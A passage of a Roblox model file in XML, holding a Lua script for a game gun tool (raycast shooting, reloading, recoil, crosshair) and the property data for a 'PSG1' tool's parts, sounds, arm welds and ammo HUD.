----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does
local Damage = 15
-- How many times per second the gun can fire
local FireRate = 1 / 12
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 400
-- In radians the minimum accuracy penalty
local MinSpread = 0.005
-- In radian the maximum accuracy penalty
local MaxSpread = 0.1
-- Number of bullets in a clip
local ClipSize = 50
-- DefaultValue for spare ammo
local SpareAmmo = 500
-- The amount the aim will increase or decrease by
-- decreases this number reduces the speed that recoil takes effect
local AimInaccuracyStepAmount = 0.012
-- Time it takes to reload weapon
local ReloadTime = 2.3
----------------------------------------

-- Colors
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor&#9;= Color3.new(1, 0, 0)
local NeutralReticleColor&#9;= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, &apos;Handle&apos;)
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false

-- Player specific convenience variables
local MyPlayer = nil
local MyCharacter = nil
local MyHumanoid = nil
local MyTorso = nil
local MyMouse = nil

local RecoilAnim
local RecoilTrack = nil

local IconURL = Tool.TextureId  -- URL to the weapon icon asset

local DebrisService = game:GetService(&apos;Debris&apos;)
local PlayersService = game:GetService(&apos;Players&apos;)


local FireSound

local OnFireConnection = nil
local OnReloadConnection = nil

local DecreasedAimLastShot = false
local LastSpreadUpdate = time()

-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
&#9;if hit then
&#9;&#9;if hit.Transparency &gt;= 1 or string.lower(hit.Name) == &quot;water&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Effect&quot; or hit.Name == &quot;Rocket&quot; or hit.Name == &quot;Bullet&quot; or
&#9;&#9;&#9;&#9;hit.Name == &quot;Handle&quot; or hit:IsDescendantOf(MyCharacter) then
&#9;&#9;&#9;return true
&#9;&#9;elseif hit:IsA(&apos;Terrain&apos;) and pos then
&#9;&#9;&#9;local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
&#9;&#9;&#9;if cellPos then
&#9;&#9;&#9;&#9;local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
&#9;&#9;&#9;&#9;if cellMat and cellMat == Enum.CellMaterial.Water then
&#9;&#9;&#9;&#9;&#9;return true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;return false
end

-- @preconditions: vec should be a unit vector, and 0 &lt; rayLength &lt;= 1000
function RayCast(startPos, vec, rayLength)
&#9;local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)
&#9;if hitObject and hitPos then
&#9;&#9;local distance = rayLength - (hitPos - startPos).magnitude
&#9;&#9;if RayIgnoreCheck(hitObject, hitPos) and distance &gt; 0 then
&#9;&#9;&#9;-- there is a chance here for potential infinite recursion
&#9;&#9;&#9;return RayCast(hitPos, vec, distance)
&#9;&#9;end
&#9;end
&#9;return hitObject, hitPos
end



function TagHumanoid(humanoid, player)
&#9;-- Add more tags here to customize what tags are available.
&#9;while humanoid:FindFirstChild(&apos;creator&apos;) do
&#9;&#9;humanoid:FindFirstChild(&apos;creator&apos;):Destroy()
&#9;end 
&#9;local creatorTag = Instance.new(&quot;ObjectValue&quot;)
&#9;creatorTag.Value = player
&#9;creatorTag.Name = &quot;creator&quot;
&#9;creatorTag.Parent = humanoid
&#9;DebrisService:AddItem(creatorTag, 1.5)

&#9;local weaponIconTag = Instance.new(&quot;StringValue&quot;)
&#9;weaponIconTag.Value = IconURL
&#9;weaponIconTag.Name = &quot;icon&quot;
&#9;weaponIconTag.Parent = creatorTag
end


local function CreateBullet(bulletPos)
&#9;local bullet = Instance.new(&apos;Part&apos;, Workspace)
&#9;bullet.FormFactor = Enum.FormFactor.Custom
&#9;bullet.Size = Vector3.new(0.1, 0.1, 0.1)
&#9;bullet.BrickColor = BrickColor.new(&quot;Black&quot;)
&#9;bullet.Shape = Enum.PartType.Block
&#9;bullet.CanCollide = false
&#9;bullet.CFrame = CFrame.new(bulletPos)
&#9;bullet.Anchored = true
&#9;bullet.TopSurface = Enum.SurfaceType.Smooth
&#9;bullet.BottomSurface = Enum.SurfaceType.Smooth
&#9;bullet.Name = &apos;Bullet&apos;
&#9;DebrisService:AddItem(bullet, 2.5)
&#9;return bullet
end

local function Reload()
&#9;if not Reloading then
&#9;&#9;Reloading = true
&#9;&#9;-- Don&apos;t reload if you are already full or have no extra ammo
&#9;&#9;if AmmoInClip ~= ClipSize and SpareAmmo &gt; 0 then
&#9;&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;&#9;end
&#9;&#9;&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;&#9;&#9;if WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = true
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;script.Parent.Handle.Reload:Play()
&#9;&#9;&#9;wait(ReloadTime)
&#9;&#9;&#9;-- Only use as much ammo as you have
&#9;&#9;&#9;local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo)
&#9;&#9;&#9;AmmoInClip = AmmoInClip + ammoToUse
&#9;&#9;&#9;SpareAmmo = SpareAmmo - ammoToUse
&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;WeaponGui.Reload.Visible = false
&#9;&#9;end
&#9;&#9;Reloading = false
&#9;end
end

function OnFire()
&#9;if IsShooting then return end
&#9;if MyHumanoid and MyHumanoid.Health &gt; 0 then
&#9;&#9;if RecoilTrack and AmmoInClip &gt; 0 then
&#9;&#9;&#9;RecoilTrack:Play()
&#9;&#9;end
&#9;&#9;IsShooting = true
&#9;&#9;while LeftButtonDown and AmmoInClip &gt; 0 and not Reloading do
&#9;&#9;&#9;if Spread and not DecreasedAimLastShot then
&#9;&#9;&#9;&#9;Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount)
&#9;&#9;&#9;&#9;UpdateCrosshair(Spread)
&#9;&#9;&#9;end
&#9;&#9;&#9;DecreasedAimLastShot = not DecreasedAimLastShot
&#9;&#9;&#9;if Handle:FindFirstChild(&apos;FireSound&apos;) then
&#9;&#9;&#9;&#9;Handle.FireSound:Play()
&#9;&#9;&#9;&#9;Handle.Flash.Enabled = true
&#9;&#9;&#9;end
&#9;&#9;&#9;if MyMouse then
&#9;&#9;&#9;&#9;local targetPoint = MyMouse.Hit.p
&#9;&#9;&#9;&#9;local shootDirection = (targetPoint - Handle.Position).unit
&#9;&#9;&#9;&#9;-- Adjust the shoot direction randomly off by a little bit to account for recoil
&#9;&#9;&#9;&#9;shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread,
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;(0.5 - math.random()) * 2 * Spread) * shootDirection
&#9;&#9;&#9;&#9;local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)
&#9;&#9;&#9;&#9;local bullet
&#9;&#9;&#9;&#9;-- Create a bullet here
&#9;&#9;&#9;&#9;if hitObject then
&#9;&#9;&#9;&#9;&#9;bullet = CreateBullet(bulletPos)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;if hitObject and hitObject.Parent then
&#9;&#9;&#9;&#9;&#9;local hitHumanoid = hitObject.Parent:FindFirstChild(&quot;Humanoid&quot;)
&#9;&#9;&#9;&#9;&#9;if hitHumanoid then
&#9;&#9;&#9;&#9;&#9;&#9;local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)
&#9;&#9;&#9;&#9;&#9;&#9;if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;TagHumanoid(hitHumanoid, MyPlayer)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;hitHumanoid:TakeDamage(Damage)
&#9;&#9;&#9;&#9;&#9;&#9;&#9;if bullet then
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet:Destroy()
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;bullet = nil
&#9;&#9;&#9;&#9;&#9;&#9;&#9;&#9;--bullet.Transparency = 1
&#9;&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;&#9;&#9;Spawn(UpdateTargetHit)
&#9;&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;
&#9;&#9;&#9;&#9;AmmoInClip = AmmoInClip - 1
&#9;&#9;&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;&#9;&#9;end
&#9;&#9;&#9;wait(FireRate)
&#9;&#9;end
&#9;&#9;Handle.Flash.Enabled = false
&#9;&#9;IsShooting = false
&#9;&#9;if AmmoInClip == 0 then
&#9;&#9;&#9;Handle.Tick:Play()
&#9;&#9;&#9;WeaponGui.Reload.Visible = true
&#9;&#9;end
&#9;&#9;if RecoilTrack then
&#9;&#9;&#9;RecoilTrack:Stop()
&#9;&#9;end
&#9;end
end

local TargetHits = 0
function UpdateTargetHit()
&#9;TargetHits = TargetHits + 1
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = true
&#9;end
&#9;wait(0.5)
&#9;TargetHits = TargetHits - 1
&#9;if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;TargetHitImage&apos;) then
&#9;&#9;WeaponGui.Crosshair.TargetHitImage.Visible = false
&#9;end
end

function UpdateCrosshair(value, mouse)
&#9;if WeaponGui then
&#9;&#9;local absoluteY = 650
&#9;&#9;WeaponGui.Crosshair:TweenSize(
&#9;&#9;&#9;UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23),
&#9;&#9;&#9;Enum.EasingDirection.Out,
&#9;&#9;&#9;Enum.EasingStyle.Linear,
&#9;&#9;&#9;0.33)
&#9;end
end

function UpdateAmmo(value)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;ClipAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip
&#9;&#9;if value &gt; 0 and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and WeaponGui.Crosshair:FindFirstChild(&apos;ReloadingLabel&apos;) then
&#9;&#9;&#9;WeaponGui.Crosshair.ReloadingLabel.Visible = false
&#9;&#9;end
&#9;end
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;AmmoHud&apos;) and WeaponGui.AmmoHud:FindFirstChild(&apos;TotalAmmo&apos;) then
&#9;&#9;WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo
&#9;end
end


function OnMouseDown()
&#9;LeftButtonDown = true
&#9;OnFire()
end

function OnMouseUp()
&#9;LeftButtonDown = false
end

function OnKeyDown(key)
&#9;if string.lower(key) == &apos;r&apos; then
&#9;&#9;Reload()
&#9;end
end


function OnEquipped(mouse)
&#9;Handle.EquipSound:Play()
&#9;RecoilAnim = WaitForChild(Tool, &apos;Recoil&apos;)
&#9;FireSound  = WaitForChild(Handle, &apos;FireSound&apos;)

&#9;MyCharacter = Tool.Parent
&#9;MyPlayer = game:GetService(&apos;Players&apos;):GetPlayerFromCharacter(MyCharacter)
&#9;MyHumanoid = MyCharacter:FindFirstChild(&apos;Humanoid&apos;)
&#9;MyTorso = MyCharacter:FindFirstChild(&apos;Torso&apos;)
&#9;MyMouse = mouse
&#9;WeaponGui = WaitForChild(Tool, &apos;WeaponHud&apos;):Clone()
&#9;if WeaponGui and MyPlayer then
&#9;&#9;WeaponGui.Parent = MyPlayer.PlayerGui
&#9;&#9;UpdateAmmo(AmmoInClip)
&#9;end
&#9;if RecoilAnim then
&#9;&#9;RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim)
&#9;end

&#9;if MyMouse then
&#9;&#9;-- Disable mouse icon
&#9;&#9;MyMouse.Icon = &quot;http://www.roblox.com/asset/?id=18662154&quot;
&#9;&#9;MyMouse.Button1Down:connect(OnMouseDown)
&#9;&#9;MyMouse.Button1Up:connect(OnMouseUp)
&#9;&#9;MyMouse.KeyDown:connect(OnKeyDown)
&#9;end
end


-- Unequip logic here
function OnUnequipped()
&#9;LeftButtonDown = false
&#9;Reloading = false
&#9;MyCharacter = nil
&#9;MyHumanoid = nil
&#9;MyTorso = nil
&#9;MyPlayer = nil
&#9;MyMouse = nil
&#9;if OnFireConnection then
&#9;&#9;OnFireConnection:disconnect()
&#9;end
&#9;if OnReloadConnection then
&#9;&#9;OnReloadConnection:disconnect()
&#9;end
&#9;if FlashHolder then
&#9;&#9;FlashHolder = nil
&#9;end
&#9;if WeaponGui then
&#9;&#9;WeaponGui.Parent = nil
&#9;&#9;WeaponGui = nil
&#9;end
&#9;if RecoilTrack then
&#9;&#9;RecoilTrack:Stop()
&#9;end
end

local function SetReticleColor(color)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) then
&#9;&#9;for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
&#9;&#9;&#9;if line:IsA(&apos;Frame&apos;) then
&#9;&#9;&#9;&#9;line.BorderColor3 = color
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
end


Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)

while true do
&#9;wait(0.033)
&#9;if WeaponGui and WeaponGui:FindFirstChild(&apos;Crosshair&apos;) and MyMouse then
&#9;&#9;WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
&#9;&#9;SetReticleColor(NeutralReticleColor)

&#9;&#9;local target = MyMouse.Target
&#9;&#9;if target and target.Parent then
&#9;&#9;&#9;local player = PlayersService:GetPlayerFromCharacter(target.Parent)
&#9;&#9;&#9;if player then
&#9;&#9;&#9;&#9;if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
&#9;&#9;&#9;&#9;&#9;SetReticleColor(EnemyReticleColor)
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;SetReticleColor(FriendlyReticleColor)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end
&#9;if Spread and not IsShooting then
&#9;&#9;local currTime = time()
&#9;&#9;if currTime - LastSpreadUpdate &gt; FireRate * 2 then
&#9;&#9;&#9;LastSpreadUpdate = currTime
&#9;&#9;&#9;Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
&#9;&#9;&#9;UpdateCrosshair(Spread, MyMouse)
&#9;&#9;end
&#9;end
end
</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5207">
			<Properties>
				<bool name="CanBeDropped">false</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0.25</X>
					<Y>-0.5</Y>
					<Z>0.800000012</Z>
					<R00>0.970143497</R00>
					<R01>0.00190036371</R01>
					<R02>0.242524236</R02>
					<R10>0.000466371188</R10>
					<R11>0.999952853</R11>
					<R12>-0.00970097352</R12>
					<R20>-0.24253124</R20>
					<R21>0.00952444319</R21>
					<R22>0.970096827</R22>
				</CoordinateFrame>
				<string name="Name">PSG1</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=126896586</url></Content>
				<string name="ToolTip">PSG1</string>
			</Properties>
			<Item class="Part" referent="RBX5208">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">26</int>
					<CoordinateFrame name="CFrame">
						<X>-34.719017</X>
						<Y>17.7740002</Y>
						<Z>50.375</Z>
						<R00>0.396553278</R00>
						<R01>0.00798996165</R01>
						<R02>-0.917976916</R02>
						<R10>0.0103489589</R10>
						<R11>0.999859691</R11>
						<R12>0.0131732654</R12>
						<R20>0.917953312</R20>
						<R21>-0.0147240069</R21>
						<R22>0.396414936</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="formFactorRaw">3</token>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>0.200000003</X>
						<Y>1.00000024</Y>
						<Z>4.79999971</Z>
					</Vector3>
				</Properties>
				<Item class="Sound" referent="RBX5209">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">FireSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209875 </url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5210">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Reload</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=2691591</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5211">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">EquipSound</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>http://www.roblox.com/asset/?id=10209881</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="PointLight" referent="RBX5212">
					<Properties>
						<float name="Brightness">1.5</float>
						<Color3 name="Color">4294967040</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Flash</string>
						<float name="Range">8</float>
					</Properties>
				</Item>
				<Item class="Sound" referent="RBX5213">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">Tick</string>
						<float name="Pitch">1</float>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><url>rbxasset://sounds//clickfast.wav</url></Content>
						<float name="Volume">1</float>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX5214">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=2761723</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.5</X>
							<Y>0.5</Y>
							<Z>0.400000006</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Animation" referent="RBX5215">
				<Properties>
					<Content name="AnimationId"><url>http://www.roblox.com/Asset?ID=94331086</url></Content>
					<string name="Name">Recoil</string>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5216">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">WeldArm</string>
					<ProtectedString name="Source">Tool = script.Parent

local arms = nil
local torso = nil
local welds = {}
local down = false

function Equip(mouse)
&#9;wait(0.01)
&#9;arms = {Tool.Parent:FindFirstChild(&quot;Left Arm&quot;), Tool.Parent:FindFirstChild(&quot;Right Arm&quot;)}
&#9;torso = Tool.Parent:FindFirstChild(&quot;Torso&quot;)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = nil
&#9;&#9;&#9;&#9;sh[2].Part1 = nil
&#9;&#9;&#9;&#9;local weld1 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld1.Part0 = torso
&#9;&#9;&#9;&#9;weld1.Parent = torso
&#9;&#9;&#9;&#9;weld1.Part1 = arms[1]
&#9;&#9;&#9;&#9;weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
&#9;&#9;&#9;&#9;welds[1] = weld1
&#9;&#9;&#9;&#9;local weld2 = Instance.new(&quot;Weld&quot;)
&#9;&#9;&#9;&#9;weld2.Part0 = torso
&#9;&#9;&#9;&#9;weld2.Parent = torso
&#9;&#9;&#9;&#9;weld2.Part1 = arms[2]
&#9;&#9;&#9;&#9;weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
&#9;&#9;&#9;&#9;welds[2] = weld2
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

function Unequip(mouse)
&#9;if arms ~= nil and torso ~= nil then
&#9;&#9;local sh = {torso:FindFirstChild(&quot;Left Shoulder&quot;), torso:FindFirstChild(&quot;Right Shoulder&quot;)}
&#9;&#9;if sh ~= nil then
&#9;&#9;&#9;local yes = true
&#9;&#9;&#9;if yes then
&#9;&#9;&#9;&#9;yes = false
&#9;&#9;&#9;&#9;sh[1].Part1 = arms[1]
&#9;&#9;&#9;&#9;sh[2].Part1 = arms[2]
&#9;&#9;&#9;&#9;welds[1].Parent = nil
&#9;&#9;&#9;&#9;welds[2].Parent = nil
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;print(&quot;sh&quot;)
&#9;&#9;end
&#9;else
&#9;&#9;print(&quot;arms&quot;)
&#9;end
end

Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX5217">
				<Properties>
					<string name="Name">WeaponHud</string>
				</Properties>
				<Item class="Frame" referent="RBX5218">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4288914085</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">AmmoHud</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-265</XO>
							<YS>1</YS>
							<YO>-60</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>200</XO>
							<YS>0</YS>
							<YO>50</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">2</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="TextLabel" referent="RBX5219">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ForwardSlash</string>
							<UDim2 name="Position">
								<XS>0.5</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">/</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">2</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5220">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">ClipAmmo</string>
							<UDim2 name="Position">
								<XS>0.449999988</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">54</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">1</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
					<Item class="TextLabel" referent="RBX5221">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4288914085</Color3>
							<float name="BackgroundTransparency">1</float>
							<Color3 name="BorderColor3">4279970357</Color3>
							<int name="BorderSizePixel">0</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<token name="Font">0</token>
							<token name="FontSize">7</token>
							<string name="Name">TotalAmmo</string>
							<UDim2 name="Position">
								<XS>0.550000012</XS>
								<XO>0</XO>
								<YS>0.5</YS>
								<YO>0</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>0</XO>
								<YS>0</YS>
								<YO>0</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<string name="Text">180</string>
							<Color3 name="TextColor3">4294967295</Color3>
							<bool name="TextScaled">false</bool>
							<Color3 name="TextStrokeColor3">4278190080</Color3>
							<float name="TextStrokeTransparency">0</float>
							<float name="TextTransparency">0</float>
							<bool name="TextWrapped">false</bool>
							<token name="TextXAlignment">0</token>
							<token name="TextYAlignment">1</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
					</Item>
				</Item>
				<Item class="Frame" referent="RBX5222">
					<Properties>
						<bool name="Active">false</bool>
						<Color3 name="BackgroundColor3">4278255360</Color3>
						<float name="BackgroundTransparency">1</float>
						<Color3 name="BorderColor3">4279970357</Color3>
						<int name="BorderSizePixel">0</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">Crosshair</string>
						<UDim2 name="Position">
							<XS>0</XS>
							<XO>500</XO>
							<YS>0</YS>
							<YO>500</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>150</XO>
							<YS>0</YS>
							<YO>150</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="Frame" referent="RBX5223">
						<Properties>
							<bool name="Active">false</bool>
							<Color3 name="BackgroundColor3">4294967295</Color3>
							<float name="BackgroundTransparency">0</float>
							<Color3 name="BorderColor3">4278190080</Color3>
							<int name="BorderSizePixel">1</int>
							<bool name="ClipsDescendants">false</bool>
							<bool name="Draggable">false</bool>
							<string name="Name">TopFrame</string>
							<UDim2 name="Position">
								<XS>0</XS>
								<XO>-1</XO>
								<YS>-0.5</YS>
								<YO>-7</YO>
							</UDim2>
							<UDim2 name="Size">
								<XS>0</XS>
								<XO>2</XO>
								<YS>0</YS>
								<YO>14</YO>
							</UDim2>
							<token name="SizeConstraint">0</token>
							<token name="Style">0</token>
							<bool name="Visible">true</bool>
							<int name="ZIndex">1</int>
						</Properties>
